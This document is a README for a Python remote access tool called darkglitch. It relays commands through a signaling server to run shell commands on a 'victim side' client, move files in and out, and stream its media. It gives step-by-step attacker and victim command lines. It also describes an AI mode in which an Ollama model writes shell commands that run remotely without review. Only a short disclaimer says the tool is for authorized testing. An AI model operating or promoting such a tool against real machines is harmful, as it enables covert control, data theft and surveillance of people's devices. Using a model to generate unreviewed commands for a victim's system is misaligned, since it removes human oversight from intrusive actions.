darkglitch 1.1.7

Remote command delivery and media streaming tool over WebRTC signaling

darkglitch

darkglitch is a lightweight Python proof-of-concept for remote command execution, file transfer, and media streaming over a WebSocket signaling channel. It is intended for authorized security testing and educational use.

What it supports

• start a listener that registers a client and waits for commands
• list online peers in the same signaling room
• run shell commands remotely
• upload and download files
• stream media from a connected client
• generate a shell command from a natural-language prompt using an AI provider

Requirements

• Python 3.10+
• dependencies from requirements.txt
• an Ollama instance if you want to use the AI prompt mode

Installation

From the project root:

python3 -m venv .venv
source .venv/bin/activate
pip install -e .

If you want the AI prompt mode, install the Ollama client package as well:

pip install ollama

Configuration

Edit core/config.py to point the client at your signaling server and room:

HOST = "https://your-signal-server.example/"
ROOM = "your-room"

Usage

1. Start a listener (victim side)

python darkglitch.py -l -c

2. List online peers (attacker side)

python darkglitch.py -ol

3. Send a remote command

python darkglitch.py -c <client_id> "whoami"

4. Use an AI-generated bash prompt

python darkglitch.py -ai <client_id> "list all folders in root"

This uses an Ollama-backed provider to turn your prompt into a shell command before executing it remotely.

5. Upload or download files

python darkglitch.py -u <client_id> /path/to/local/file /path/to/remote/file
python darkglitch.py -d <client_id> /path/to/remote/file /path/to/local/file

6. Request a media stream

python darkglitch.py -s <client_id>

Help and version

python darkglitch.py -h
python darkglitch.py -v

AI setup

If you want to use the AI prompt mode, make sure Ollama is installed and running:

ollama serve
ollama pull deepseek-r1:14b

You can override the default model and timeout if needed:

export OLLAMA_MODEL=llama3.2:3b
export OLLAMA_TIMEOUT=60

Notes

This repository is for research and learning only. Do not deploy it against systems or networks without explicit permission.